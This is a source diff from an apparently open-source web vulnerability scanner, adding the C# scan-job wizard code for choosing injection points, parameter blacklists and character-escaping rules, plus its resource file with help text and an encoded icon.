ScanBodyTypeNormalGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanBodyTypeNormalGrid.SelectedCells.Count < 1 || ScanBodyTypeNormalGrid.SelectedCells[0].Value == null) + { + return; + } + if ((bool)this.ScanBodyTypeNormalGrid.SelectedCells[0].Value) + { + this.ScanBodyTypeNormalGrid.SelectedCells[0].Value = false; + this.ScanAllCB.Checked = false; + this.ScanBodyCB.Checked = false; + } + else + { + if (UseBlackListCB.Checked && ParametersBlackList.Contains(this.ScanBodyTypeNormalGrid.SelectedCells[1].Value.ToString())) + { + ShowStep2Error("Cannot select parameter, it is part of the parameters black-list and use of parameter black-list is turned on."); + } + else + { + this.ScanBodyTypeNormalGrid.SelectedCells[0].Value = true; + } + } + } + + private void BodyTypeFormatPluginGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (BodyTypeFormatPluginGrid.SelectedCells.Count < 1 || BodyTypeFormatPluginGrid.SelectedCells[0].Value == null) + { + return; + } + if ((bool)this.BodyTypeFormatPluginGrid.SelectedCells[0].Value) + { + this.BodyTypeFormatPluginGrid.SelectedCells[0].Value = false; + this.ScanAllCB.Checked = false; + this.ScanBodyCB.Checked = false; + } + else + { + this.BodyTypeFormatPluginGrid.SelectedCells[0].Value = true; + } + } + + private void ScanCookieGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanCookieGrid.SelectedCells.Count < 1 || ScanCookieGrid.SelectedCells[0].Value == null) + { + return; + } + if ((bool)this.ScanCookieGrid.SelectedCells[0].Value) + { + this.ScanCookieGrid.SelectedCells[0].Value = false; + this.ScanAllCB.Checked = false; + this.ScanCookieCB.Checked = false; + } + else + { + if (UseBlackListCB.Checked && ParametersBlackList.Contains(this.ScanCookieGrid.SelectedCells[1].Value.ToString())) + { + ShowStep2Error("Cannot select parameter, it is part of the parameters black-list and use of parameter black-list is turned on."); + } + else + { + this.ScanCookieGrid.SelectedCells[0].Value = true; + } + } + } + + private void ScanHeadersGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + if (ScanHeadersGrid.SelectedCells.Count < 1 || ScanHeadersGrid.SelectedCells[0].Value == null) + { + return; + } + if ((bool)this.ScanHeadersGrid.SelectedCells[0].Value) + { + this.ScanHeadersGrid.SelectedCells[0].Value = false; + this.ScanAllCB.Checked = false; + this.ScanHeadersCB.Checked = false; + } + else + { + if (UseBlackListCB.Checked && ParametersBlackList.Contains(this.ScanHeadersGrid.SelectedCells[1].Value.ToString())) + { + ShowStep2Error("Cannot select parameter, it is part of the parameters black-list and use of parameter black-list is turned on."); + } + else + { + this.ScanHeadersGrid.SelectedCells[0].Value = true; + } + } + } + + private void ScanQueryParameterNameCB_Click(object sender, EventArgs e) + { + this.ScanAllCB.Checked = false; + this.ScanParameterNamesCB.Checked = false; + } + + private void ScanBodyParameterNameCB_Click(object sender, EventArgs e) + { + this.ScanAllCB.Checked = false; + this.ScanParameterNamesCB.Checked = false; + } + + private void ScanCookieParameterNameCB_Click(object sender, EventArgs e) + { + this.ScanAllCB.Checked = false; + this.ScanParameterNamesCB.Checked = false; + } + + private void ScanHeadersParameterNameCB_Click(object sender, EventArgs e) + { + this.ScanAllCB.Checked = false; + this.ScanParameterNamesCB.Checked = false; + } + + private void FormatPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + ShowStep2Status("Deserialzing Request body using selected format"); + string PluginName = ""; + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + Row.Cells[0].Value = false; + if (e.RowIndex == Row.Index) PluginName = Row.Cells[1].Value.ToString(); + } + BodyTypeFormatPluginGrid.Rows.Clear(); + FormatXMLTB.Text = ""; + + if (!FormatPlugin.List().Contains(PluginName)) + { + ShowStep2Error("Selected Format Plugin not found"); + return; + } + FormatPlugin Plugin = FormatPlugin.Get(PluginName); + if (BodyDeserializeThread != null) + { + try { BodyDeserializeThread.Abort(); } + catch { } + } + BodyDeserializeThread = new Thread(DeserializeRequestBody); + BodyDeserializeThread.Start(Plugin); + } + + void DeserializeRequestBody(object FormatPluginObject) + { + try + { + FormatPlugin FP = (FormatPlugin)FormatPluginObject; + string XML = FP.ToXmlFromRequest(RequestToScan); + string[,] XmlInjectionPoints = FormatPlugin.XmlToArray(XML); + SetBodyTypeFormatPluginInjectionPointsInUi(FP.Name, XmlInjectionPoints, XML); + SetBodyTypeMessage(string.Format("Request body format has been set by you as '{0}'", FP.Name)); + ShowStep2Status(""); + } + catch (ThreadAbortException) { } + catch(Exception Exp) + { + IronException.Report("Error deserializing Request body", Exp); + ShowStep2Error("Error parsing Request body in selected format"); + } + } + + private void FinalBtn_Click(object sender, EventArgs e) + { + if (FinalBtn.Text.Equals("Close")) + { + this.CanClose = true; + this.Close(); + } + else + { + try + { + FinalBtn.Enabled = false; + if (this.ScanJobMode) + { + Step3StatusTB.Text = "Creating scan job, please wait..."; + } + else + { + Step3StatusTB.Text = "Reading your inputs, please wait..."; + } + + Scanner NewScanner = new Scanner(RequestToScan); + Fuzzer NewFuzzer = new Fuzzer(RequestToScan); + string SessionPluginName = SessionPluginsCombo.Text; + + + if (SessionPluginName.Length > 0) + { + if (SessionPlugin.List().Contains(SessionPluginName)) + { + if (ScanThreadLimitCB.Checked) + { + Scanner.MaxParallelScanCount = 1; + IronUI.UpdateScannerSettingsInUIFromConfig(); + IronDB.StoreScannerSettings(); + } + } + else + { + Step3StatusTB.Text = "Invalid Session Plugin name selected."; + FinalBtn.Enabled = true; + return; + } + } + + string LoginRecordingName = LoginRecordingComboBox.Text; + + if (LoginRecordingName.Length > 0) + { + if (Recording.Recording.GetNames().Contains(LoginRecordingName)) + { + if (ScanThreadLimitCB.Checked) + { + Scanner.MaxParallelScanCount = 1; + IronUI.UpdateScannerSettingsInUIFromConfig(); + IronDB.StoreScannerSettings(); + } + } + else + { + Step3StatusTB.Text = "Invalid Login Recording name selected."; + FinalBtn.Enabled = true; + return; + } + } + + // + //No updates to the NewScanner or NewFuzzer object must be done before calling this.UpdateScannerFromUi method. + //There is a chance that this method might create a new scanner object and return it (when custom body injection points is selected). + //Any updates to NewScanner made before this method are lost if a new scanner object is returned + // + if (ScanJobMode) + { + NewScanner = this.UpdateScannerFromUi(NewScanner, SessionPluginName); + } + else + { + this.Fuzz = (Fuzzer) this.UpdateScannerFromUi(NewFuzzer, SessionPluginName); + } + + if (ScanJobMode) + { + int ScanID = NewScanner.LaunchScan(); + Step3StatusTB.Text = string.Format("Scan has been started. The ID for this scan job is {0}.\r\n\r\nThe status of this scan job can be checked in the 'Automated Scanning' tab, this window can be closed.", ScanID); + FinalBtn.Text = "Close"; + StepFourPreviousBtn.Enabled = false; + FinalBtn.Enabled = true; + } + else + { + this.CanClose = true; + this.Close(); + } + } + catch (Exception Exp) + { + if (this.ScanJobMode) + { + IronException.Report("Error starting a configured scan", Exp.Message, Exp.StackTrace); + Step3StatusTB.Text = "Error Starting Scan!"; + } + else + { + IronException.Report("Error getting injection points from UI", Exp.Message, Exp.StackTrace); + Step3StatusTB.Text = "Error reading Injecton Points"; + } + FinalBtn.Enabled = true; + } + } + } + + Scanner UpdateScannerFromUi(Scanner NewScanner, string SessionPluginName) + { + //Body must come above everything else because for a custom injection marker selection a new scanner object is created. + int SubParameterPosition = 0; + string ParameterName = ""; + #region BodyInjectionPoints + if (BodyTypeNormalRB.Checked) + { + SubParameterPosition = 0; + ParameterName = ""; + + foreach (DataGridViewRow Row in this.ScanBodyTypeNormalGrid.Rows) + { + string CurrentParameterName = Row.Cells[1].Value.ToString(); + if (ParameterName.Equals(CurrentParameterName)) + { + SubParameterPosition++; + } + else + { + ParameterName = CurrentParameterName; + SubParameterPosition = 0; + } + if ((bool)Row.Cells[0].Value) + { + NewScanner.InjectBody(ParameterName, SubParameterPosition); + } + } + } + else if (BodyTypeFormatPluginRB.Checked) + { + bool FormatPluginSelected = false; + bool FormatPluginInjectionPointSelected = false; + foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + NewScanner.BodyFormat = FormatPlugin.Get(Row.Cells[1].Value.ToString()); + FormatPluginSelected = true; + break; + } + } + foreach (DataGridViewRow Row in this.BodyTypeFormatPluginGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + FormatPluginInjectionPointSelected = true; + break; + } + } + if (FormatPluginSelected && FormatPluginInjectionPointSelected) + { + NewScanner.InjectionArrayXML = FormatXMLTB.Text; + NewScanner.XmlInjectionArray = new string[BodyTypeFormatPluginGrid.Rows.Count, 2]; + NewScanner.BodyXmlInjectionParameters = new Parameters(); + for (int i = 0; i < BodyTypeFormatPluginGrid.Rows.Count; i++) + { + NewScanner.XmlInjectionArray[i, 0] = BodyTypeFormatPluginGrid.Rows[i].Cells[1].Value.ToString(); + NewScanner.XmlInjectionArray[i, 1] = BodyTypeFormatPluginGrid.Rows[i].Cells[2].Value.ToString(); + NewScanner.BodyXmlInjectionParameters.Add(NewScanner.XmlInjectionArray[i, 0], NewScanner.XmlInjectionArray[i, 1]); + } + + foreach (DataGridViewRow Row in this.BodyTypeFormatPluginGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + NewScanner.InjectBody(Row.Index); + } + } + } + } + else if (BodyTypeCustomRB.Checked) + { + if (ScanBodyCB.Checked) + { + Request RequestToScanClone = RequestToScan.GetClone(); + RequestToScanClone.BodyString = SetCustomInjectionPointsSTB.Text; + if (ScanJobMode) + { + NewScanner = new Scanner(RequestToScanClone); + } + else + { + NewScanner = new Fuzzer(RequestToScanClone); + this.Fuzz = (Fuzzer) NewScanner; + } + NewScanner.InjectBody(CurrentStartMarker, CurrentEndMarker); + lock (Scanner.UserSpecifiedEncodingRuleList) + { + Scanner.UserSpecifiedEncodingRuleList.Clear(); + foreach (DataGridViewRow Row in CharacterEscapingGrid.Rows) + { + Scanner.UserSpecifiedEncodingRuleList.Add(new string[] { Row.Cells[1].Value.ToString(), Row.Cells[3].Value.ToString() }); + if ((bool)Row.Cells[0].Value) + NewScanner.AddEscapeRule(Row.Cells[1].Value.ToString(), Row.Cells[3].Value.ToString()); + } + } + IronDB.StoreCharacterEscapingRules(); + } + else + { + NewScanner.CustomInjectionPointStartMarker = ""; + NewScanner.CustomInjectionPointEndMarker = ""; + } + } + #endregion + #region UrlPathPartsInjectionPoints + for (int i = 0; i < this.ScanURLGrid.Rows.Count; i++) + { + if ((bool)this.ScanURLGrid.Rows[i].Cells[0].Value) + { + NewScanner.InjectUrl(i); + } + } + #endregion + #region QueryInjectionPoints + SubParameterPosition = 0; + ParameterName = ""; + foreach (DataGridViewRow Row in this.ScanQueryGrid.Rows) + { + string CurrentParameterName = Row.Cells[1].Value.ToString(); + if (ParameterName.Equals(CurrentParameterName)) + { + SubParameterPosition++; + } + else + { + ParameterName = CurrentParameterName; + SubParameterPosition = 0; + } + if ((bool)Row.Cells[0].Value) + { + NewScanner.InjectQuery(ParameterName, SubParameterPosition); + } + } + #endregion + #region CookieInjectionPoints + SubParameterPosition = 0; + ParameterName = ""; + foreach (DataGridViewRow Row in this.ScanCookieGrid.Rows) + { + string CurrentParameterName = Row.Cells[1].Value.ToString(); + if (ParameterName.Equals(CurrentParameterName)) + { + SubParameterPosition++; + } + else + { + ParameterName = CurrentParameterName; + SubParameterPosition = 0; + } + if ((bool)Row.Cells[0].Value) + { + NewScanner.InjectCookie(ParameterName, SubParameterPosition); + } + } + #endregion + #region HeaderInjectionPoints + SubParameterPosition = 0; + ParameterName = ""; + foreach (DataGridViewRow Row in this.ScanHeadersGrid.Rows) + { + string CurrentParameterName = Row.Cells[1].Value.ToString(); + if (ParameterName.Equals(CurrentParameterName)) + { + SubParameterPosition++; + } + else + { + ParameterName = CurrentParameterName; + SubParameterPosition = 0; + } + if ((bool)Row.Cells[0].Value) + { + NewScanner.InjectHeaders(ParameterName, SubParameterPosition); + } + } + #endregion + #region ParameterNameInjectionPoints + if (ScanQueryParameterNameCB.Checked) + { + NewScanner.InjectParameterName("Query"); + } + if (ScanBodyParameterNameCB.Checked) + { + NewScanner.InjectParameterName("Body"); + } + if (ScanCookieParameterNameCB.Checked) + { + NewScanner.InjectParameterName("Cookie"); + } + if (ScanHeadersParameterNameCB.Checked) + { + NewScanner.InjectParameterName("Headers"); + } + #endregion + + #region SetSessionPlugin + SessionPluginName = SessionPluginsCombo.Text; + if (SessionPluginName.Length > 0) + { + NewScanner.SessionHandler = SessionPlugin.Get(SessionPluginName); + } + #endregion + + #region SetLoginRecording + string LoginRecordingName = LoginRecordingComboBox.Text; + if (LoginRecordingName.Length > 0) + { + NewScanner.LoginAndCsrfRecording = Recording.Recording.Get(LoginRecordingName); + } + #endregion + + #region SetChecks + if (this.ScanJobMode) + { + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) NewScanner.AddCheck(Row.Cells[1].Value.ToString()); + } + } + #endregion + return NewScanner; + } + + private void AddToEscapeRuleBtn_Click(object sender, EventArgs e) + { + ShowCharacterEscapeError(""); + string RawCharacter = RawCharacterTB.Text; + string EncodedCharacter = EncodedCharacterTB.Text; + foreach (DataGridViewRow Row in CharacterEscapingGrid.Rows) + { + if (Row.Cells[1].Value.ToString().Equals(RawCharacter) && Row.Cells[3].Value.ToString().Equals(EncodedCharacter)) + { + ShowCharacterEscapeError("This rule already exists."); + return; + } + } + int RowId = CharacterEscapingGrid.Rows.Add(new object[]{false, RawCharacter, "->", EncodedCharacter}); + try + { + CharacterEscapingGrid.FirstDisplayedScrollingRowIndex = RowId; + } + catch { } + RawCharacterTB.Text = ""; + EncodedCharacterTB.Text = ""; + } + + void ShowCharacterEscapeError(string Error) + { + CharacterEscapingStatusTB.Text = Error; + if (Error.Length == 0) + CharacterEscapingStatusTB.Visible = false; + else + CharacterEscapingStatusTB.Visible = true; + } + + private void EditRuleToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + RawCharacterTB.Text = CharacterEscapingGrid.SelectedRows[0].Cells[1].Value.ToString(); + EncodedCharacterTB.Text = CharacterEscapingGrid.SelectedRows[0].Cells[3].Value.ToString(); + CharacterEscapingGrid.Rows.RemoveAt(CharacterEscapingGrid.SelectedRows[0].Index); + ShowCharacterEscapeError(""); + } + catch { } + } + + private void DeleteRuleToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + CharacterEscapingGrid.Rows.RemoveAt(CharacterEscapingGrid.SelectedRows[0].Index); + } + catch { } + } + + private void CharacterEscapingMenu_Opening(object sender, CancelEventArgs e) + { + if (CharacterEscapingGrid.SelectedCells.Count < 1 || CharacterEscapingGrid.SelectedCells[0].Value == null) + { + EditRuleToolStripMenuItem.Enabled = false; + DeleteRuleToolStripMenuItem.Enabled = false; + } + else + { + EditRuleToolStripMenuItem.Enabled = true; + DeleteRuleToolStripMenuItem.Enabled = true; + } + } + + private void BodyInjectTypeTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + switch (BodyInjectTypeTabs.SelectedTab.Name) + { + case ("BodyTypeNormalTab"): + if (BodyTypeNormalRB.Checked) + return; + break; + case ("BodyTypeFormatPluginTab"): + if (BodyTypeFormatPluginRB.Checked) + return; + break; + case ("BodyTypeCustomTab"): + if (BodyTypeCustomRB.Checked) + return; + break; + } + if (BodyTypeNormalRB.Checked) + { + BodyInjectTypeTabs.SelectTab("BodyTypeNormalTab"); + } + else if (BodyTypeFormatPluginRB.Checked) + { + BodyInjectTypeTabs.SelectTab("BodyTypeFormatPluginTab"); + } + else if (BodyTypeCustomRB.Checked) + { + BodyInjectTypeTabs.SelectTab("BodyTypeCustomTab"); + } + else + { + BodyTypeNormalRB.Checked = true; + BodyInjectTypeTabs.SelectTab("BodyTypeNormalTab"); + } + } + + private void CharacterEscapingGrid_CellClick(object sender, DataGridViewCellEventArgs e) + { + try + { + ShowCharacterEscapeError(""); + DataGridViewRow SelectedRow = CharacterEscapingGrid.Rows[e.RowIndex]; + if ((bool)SelectedRow.Cells[0].Value) + { + SelectedRow.Cells[0].Value = false; + } + else + { + string RawCharacter = SelectedRow.Cells[1].Value.ToString(); + string EncodedCharacter = SelectedRow.Cells[3].Value.ToString(); + foreach (DataGridViewRow R in CharacterEscapingGrid.Rows) + { + if ((bool)R.Cells[0].Value && R.Cells[1].Value.ToString().Equals(RawCharacter)) + { + ShowCharacterEscapeError(string.Format("A rule for {0} has already been selected", RawCharacter)); + return; + } + } + SelectedRow.Cells[0].Value = true; + } + } + catch { } + } + + private void UseBlackListCB_Click(object sender, EventArgs e) + { + if (UseBlackListCB.Checked) + { + EnforceParametersBlackList(); + } + } + + void EnforceParametersBlackList() + { + foreach (DataGridViewRow Row in ScanQueryGrid.Rows) + { + if (ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) + Row.Cells[0].Value = false; + } + foreach (DataGridViewRow Row in ScanBodyTypeNormalGrid.Rows) + { + if (ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) + Row.Cells[0].Value = false; + } + foreach (DataGridViewRow Row in ScanCookieGrid.Rows) + { + if (ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) + Row.Cells[0].Value = false; + } + foreach (DataGridViewRow Row in ScanHeadersGrid.Rows) + { + if (ParametersBlackList.Contains(Row.Cells[1].Value.ToString())) + Row.Cells[0].Value = false; + } + UpdateInjectionPointLabels(); + } + + private void ParametersBlacklistTB_TextChanged(object sender, EventArgs e) + { + WasParametersBlackListChanged = true; + } + + private void InjectionPointBaseTabs_Deselecting(object sender, TabControlCancelEventArgs e) + { + if (InjectionPointBaseTabs.SelectedTab.Name.Equals("BlackListTab")) + { + if (WasParametersBlackListChanged) CheckAndUpdateParametersBlackList(); + } + } + + + + void CheckAndUpdateParametersBlackList() + { + if (WasParametersBlackListChanged) + { + string[] NewList = ParametersBlacklistTB.Text.Split(new string[] { Environment.NewLine }, StringSplitOptions.RemoveEmptyEntries); + lock (ParametersBlackList) + { + ParametersBlackList.Clear(); + foreach (string NL in NewList) + { + string Item = NL.Trim(); + if (!ParametersBlackList.Contains(Item)) ParametersBlackList.Add(Item); + } + } + IronDB.StoreParametersBlackList(); + WasParametersBlackListChanged = false; + } + } + + private void PlaceInjectionMarkerLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + if (!CustomInjectionMarkerTabs.SelectedTab.Name.Equals("CustomMarkerSelectionTab")) + { + CustomInjectionMarkerTabs.SelectTab("CustomMarkerSelectionTab"); + return; + } + string StartMarker = CustomStartMarkerTB.Text.Trim(); + string EndMarker = CustomEndMarkerTB.Text.Trim(); + if (StartMarker.Length == 0 || EndMarker.Length == 0) + { + ShowStep2Error("Start and End markers cannot be empty."); + return; + } + if (StartMarker.Equals(EndMarker)) + { + ShowStep2Error("Start and End markers cannot be the same."); + return; + } + + string ErrMsg = SetCustomInjectionPointsSTB.PlaceMarkersAroundSelectedText(StartMarker, EndMarker); + ShowStep2Error(ErrMsg); + } + + private void RefreshSessListLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + LoginRecordingComboBox.Items.Clear(); + LoginRecordingComboBox.Items.AddRange(Recording.Recording.GetNames().ToArray()); + SessionPluginsCombo.Items.Clear(); + SessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); + } + + private void LaunchSessionPluginCreationAssistantLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + SessionPluginCreationAssistant SPCA = new SessionPluginCreationAssistant(); + SPCA.Show(); + } + + private void StartScanJobWizard_FormClosing(object sender, FormClosingEventArgs e) + { + if (IronUI.UI.CanShutdown) return; + if (!CanClose) + { + if (this.CurrentStep == 0) + { + this.CanClose = true; + } + else if ((this.ScanJobMode && this.CurrentStep == 3) || (!this.ScanJobMode && this.CurrentStep == 2)) + { + if (this.ScanJobMode) + { + e.Cancel = true; + MessageBox.Show("If you have started the scan then you can close this window by clicking on the 'Close' button on the button right corner of the window.\r\n Otherwise use the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); + } + else + { + e.Cancel = true; + MessageBox.Show("You can close this window by clicking on the 'Done' button on the button right corner of the window."); + } + } + else + { + e.Cancel = true; + MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); + } + } + } + + private void StartLoginRecorderLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + Recording.Recorder.OpenWindow(); + } + } +} diff --git a/Iron/StartScanJobWizard.resx b/Iron/StartScanJobWizard.resx new file mode 100644 index 0000000..50be057 --- /dev/null +++ b/Iron/StartScanJobWizard.resx @@ -0,0 +1,2041 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + You have selected the request shown below for scanning, this wizard will help you configure and start the scan. + +If you would like to make any changes to the request then you can do that and press the 'Next Step' button at the bottom to proceed. + +Press the 'Cancel' buttom if you do not wish to create this scan. + + + + True + + + True + + + +Select which parameters and sections of the Request must be scanned for the checks selected in the previous step. + +You can either select all parameters or entire sections for scanning. Or go through the different tabs below and select the exact parameters you want be to scanned to perform a high precision scan. + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + You can define which section of the request body must be injected by placing start and end injection point markers. The area between one pair of these markers is one injection point, you can place multiple pairs in the body. Place the markers in the 'Set Custom Injection Point Markers' section. +If the default start and end marker values conflict with existing data in the request body then set your own marker values. +Once the markers are placed in the request body press 'Apply' for your setting to take effect. + + + The scanner will insert various payloads in the selected injection points to check for the presence of vulnerabilities on the server. +Based on the design of the body format some characters must be encoded before inserting them in to the injection point. For example XML structure requires that inside XML node values the '>' character must be encoded to '&lt;'. +You can add your own character escaping rule or select the existing rules that are applicable. The Scanner will use these rules before sending a payload to the server. + + + + True + + + True + + + True + + + True + + + 17, 17 + + + True + + + True + + + True + + + True + + + True + + + True + + + Parameter values are usually selected for injection but sometimes the application might be handling parameter names differently. +Here you can select in which sections of the request injection must be performed in the Parameter name field. +The scanner adds a new parameter to the selected section with a dummy value and the payload is placed in this parameter name. + + + There might be some parameters, Session IDs for example, that you might want to avoid scanning. + +You can add the names of such parameters to the parameters blacklist box below. + +Once added, if any Query, Body, Cookie or Header parameter name matches a name in the blacklist it will not be scanned, even if you had selected that as an injection point. + +NOTE: Blacklist is only referred when the 'Don't scan the parameters matching the names in the 'Parameters Blacklist'' option is selected. + + + 44 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + 